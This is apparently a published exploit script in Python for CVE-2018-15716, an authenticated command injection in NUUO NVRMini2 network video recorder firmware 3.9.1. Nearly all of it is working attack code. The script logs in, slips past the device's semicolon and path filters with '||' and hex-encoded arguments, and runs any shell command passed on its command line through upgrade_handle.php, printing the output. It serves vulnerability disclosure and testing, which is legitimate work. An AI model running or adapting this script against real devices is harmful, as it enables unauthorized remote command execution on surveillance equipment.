# Exploit Title: NUUO NVRMini2 Authenticated Command Injection # Date: December 3, 2018 # Exploit Author: Artem Metla # Vendor Homepage: https://www.nuuo.com/ProductNode.php?node=2# # Version: 3.9.1 # Tested on: NUUO NVRMini2 with firmware 3.9.1 # CVE : CVE-2018-15716 # Advisory: https://www.tenable.com/security/research/tra-2018-41 import argparse import requests import urllib.parse import binascii import http.cookiejar as cookielib import re def run(target, username, password, command): """ Authenticate us and execute exploitation """ # Step 1. Authentication payload = {'language':'en', 'user':username, 'pass':password, 'submit':'Login'} r = requests.post(urllib.parse.urljoin(target, 'login.php'), data=payload, verify=False, allow_redirects=False) jar = r.cookies # Step 2. Prepare a payload # We're bypassing 2 filters: # 1) Instead of using ";" we can try || or &&, to bypass: # if(strpos($uploaddir, ';') !== false) # { # die('[1]Not a valid path.'); # } # 2) To bypass this: # $cmd = "sed -i 's/".str_replace('/', '\/', $current_dir)."/".str_replace('/', '\/', $tmp_upload_dir)."/g' ".PHP_CINF_PATH; # we have to HEX encode a payload # # Simple example of payload that we're trying to achieve: '||ls`echo -e "\\x20\\x2f"`||' to execue: ls / # 3) Multiple parameters commands are not supported yet, but the same techique could be used for them # Primitive Bash command parser splitted_command = [command] for i in range(0, len(command)-1): if command[i] == " " and command[i+1] != "-": splitted_command = [command[:i], command[i+1:]] break # Encoding a payload if len(splitted_command) == 2: payload = "".join('\\\\x%s' % binascii.hexlify(char.encode('ascii')).decode("utf-8") for char in splitted_command[1]) exploit = '\'||%s `echo -e "%s"`||\'' % (splitted_command[0], payload) print("Exploit: %s" % exploit) else: exploit = '\'||%s||\'' % (splitted_command[0]) print("Exploit: %s" % exploit) # Step 3. Send a payload payload = {'cmd':'writeuploaddir', 'uploaddir':exploit} r = requests.get(urllib.parse.urljoin(target, 'upgrade_handle.php'), params=payload, verify=False, cookies=jar) # Step 4. Output processing to grab only needed output res = re.search('upload_tmp_dir=([^<>]*)
', str(r.content)) if res: print(res.group(1).replace('\\n', '\n')) def main(): """ Parse command line arguments and start exploit """ parser = argparse.ArgumentParser( add_help=False, formatter_class=argparse.RawDescriptionHelpFormatter, epilog="Examples: %(prog)s -t http://192.168.0.1/ -u username -p password -c whoami") # Adds arguments to help menu parser.add_argument("-h", action="help", help="Print this help message then exit") parser.add_argument("-t", dest="target", required="yes", help="Target URL address like: https://localhost:443/") parser.add_argument("-u", dest="username", required="yes", help="Username to authenticate") parser.add_argument("-p", dest="password", required="yes", help="Password to authenticate") parser.add_argument("-c", dest="command", required="yes", help="Shell command to execute") # Assigns the arguments to various variables args = parser.parse_args() run(args.target, args.username, args.password, args.command) # # Main # if __name__ == "__main__": main()